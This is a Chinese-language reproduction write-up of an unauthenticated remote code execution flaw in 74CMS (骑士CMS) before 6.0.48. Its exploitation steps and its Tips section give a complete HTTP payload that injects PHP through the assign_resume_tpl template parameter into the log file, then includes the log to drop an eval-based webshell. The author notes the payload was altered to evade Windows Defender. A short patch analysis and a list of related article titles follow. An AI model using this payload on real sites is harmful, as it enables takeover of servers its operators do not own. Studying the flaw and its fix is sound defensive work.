0x00 简介

骑士CMS人才招聘系统是基于PHP+MYSQL的免费网站管理系统源码,提供完善的人才招聘网站建设方案。

0x01 漏洞概述

骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士 CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

0x02 影响版本

骑士 CMS < 6.0.48

0x03 环境搭建

1、下载最新版74cms。

https://www.74cms.com/download/index.html

2、使用phpstudy进行搭建。

进入upload目录即可进入安装程序。

0x04 漏洞利用

1、首先通过日志写入Payload。这么写payload因为测试环境我的Defender报毒了,就简单变形一下即可绕过。

POST /74cms_Home_Setup_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php \$a=\$_POST['x'];\$b='a';eval(\$\$b);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

2、包含日志。默认日志位置为data/Runtime/Logs/Home/Y_M_D.log

POST /74cms_Home_Setup_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1variable=1&tpl=data/Runtime/Logs/Home/20_12_16.log

3、此时根目录下就会生成shell.php文件。

4、连接即可。

0x05 修复方式

http://www.74cms.com/news/show-2497.html

从官方公布的信息来看,官方修复了两个地方:

1、/Application/Common/Controller/BaseController.class.php

左图修复前,右图为修复后。

$view->parseTemplate对$tpl参数进行处理,并对处理结果$tpl_file进行is_file判断。后续主要判断传入的是否为文件。

2、/ThinkPHP/Library/Think/View.class.php

左图修复前,右图为修复后。

主要更改的是,新版本日志不再包含模板名称。也就无法写入payload。

0x06 Tips:

payload:

variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php \$a=\$_POST['x'];\$b='a';eval(\$\$b);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

将PHP代码写入文件时,$符号需要使用反斜杠进行转义,否则会被识别为变量从而报错。

(环境搭建+复现)ZZZCMS模版注入+文件包含getshell相关推荐

  1. (环境搭建+复现)74CMS模版注入+文件包含getshell

    0x00 简介 骑士CMS人才招聘系统是基于PHP+MYSQL的免费网站管理系统源码,提供完善的人才招聘网站建设方案. 0x01 漏洞概述 骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞. ...

  2. 骑士CMS模版注入+文件包含getshell复现

    声明 好好学习,天天向上 漏洞描述 骑士cms人才系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统.软件具执行效率高.模板自由切换.后台管理功能方便等诸多优秀特点. 骑 ...

  3. 【Android 逆向】Android 进程注入工具开发 ( 总结 | 源码编译 | 逆向环境搭建使用 | 使用进程注入工具进行逆向操作 ) ★★★

    文章目录 一.Android 进程注入工具开发系列博客 二.Android 进程注入工具 源码下载编译 三.逆向环境搭建 四.使用注入工具进行逆向操作 1.获取远程进程号 2.注入工具准备 3.注入动 ...

  4. [HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell)

    [HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell) [HXBCTF 2021]easywill 1.WillPHP ...

  5. CVE-2018-1111漏洞复现-环境搭建与dhcp命令注入

    0×01 前言 2018年5月,在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞(CVE-2018-11 ...

  6. 骑士cms文件包含getshell复现

    00X1 测试环境 骑士 CMS 6.0.48以下均存在此漏洞,本文复现使用骑士cms 6.0.20,下载地址: http://www.74cms.com/download/index.html 注意 ...

  7. (环境搭建+复现)CVE-2020-1472 NetLogon 域内提权漏洞

     0x00 简介 Netlogon组件是Windows上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,还用于维护域成员与域之间.域与域控之间.域DC与跨域DC之间 ...

  8. cms php vue 开源_骑士CMS文件包含+getshell

    0x00简单介绍 骑士cms人才系统,是一项基于php+mysql为核心的开源人才网站系统. 0x01漏洞概述 骑士cms官方发布安全更新,修复了一处远程代码执行漏洞.由于骑士cms某些函数过滤不严谨 ...

  9. 文件包含getshell

    简介 开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含. allow_url_fopen = On(是否允许打开远程 ...

  10. SQL注入系列之环境搭建(一)----ASP+ACCESS注入环境搭建

    一.常见网站搭建组合 操作系统:windows linux 搭建平台:iis apache uginx tomcat 脚本格式:asp php aspx jsp cgi war py pl do js ...

最新文章

  1. 为什么Python是2021最值得学的编程语言?
  2. 射频系统基础知识总结
  3. 压缩信息立方体和集合技术内幕
  4. 移除List中的元素,你的姿势对了吗?
  5. 万物互联时代 如何用好智能家居这把双刃剑?
  6. 读书笔记《高性能网站建设指南:前端工程师技能精髓》
  7. 女生做程序员压力大吗?
  8. MySQL show processlist
  9. 如何在windows下用dos进入mysql
  10. Spring Cloud Stream 简单使用
  11. win10远程计算机证书错误,win10系统下遇到Wi-Fi证书错误问题的几种解决方法
  12. 分享2个ICON资源链接
  13. Linux之Redhat7如何破解密码
  14. Reverse Polish notation(逆波兰式)
  15. 抓不住的年终奖,守不住的头发
  16. CD-Hit 生信 碱基序列去除冗余的方法
  17. YUV Player Deluxe 注册
  18. 拆分基础Slam(1)--静态相机前端
  19. 利用OpenCV读取大华网络摄像头
  20. IMU传感器时什么?(二)陀螺仪的种类和原理

热门文章

  1. hcia第五天 结课
  2. ibm x5服务器系统重装,IBM 3850 X5 Server安装Windows 2003步骤说明
  3. 图数据库JanusGraph入门(一)JanusGraph初识
  4. 【Unity3D插件】Unity3D各类教程汇总
  5. php去除空格和换行
  6. PostgreSQL命令导入sql文件
  7. c语言课程设计作业五子棋,C语言课程设计报告五子棋游戏课程设计
  8. ubuntu安装gcc和g++
  9. Flightgear操作方式以及几种典型飞机的起飞方法
  10. VAX Patch VA_X.DLL 安装位置的问题 for VS2008 , VS2010 , VS2011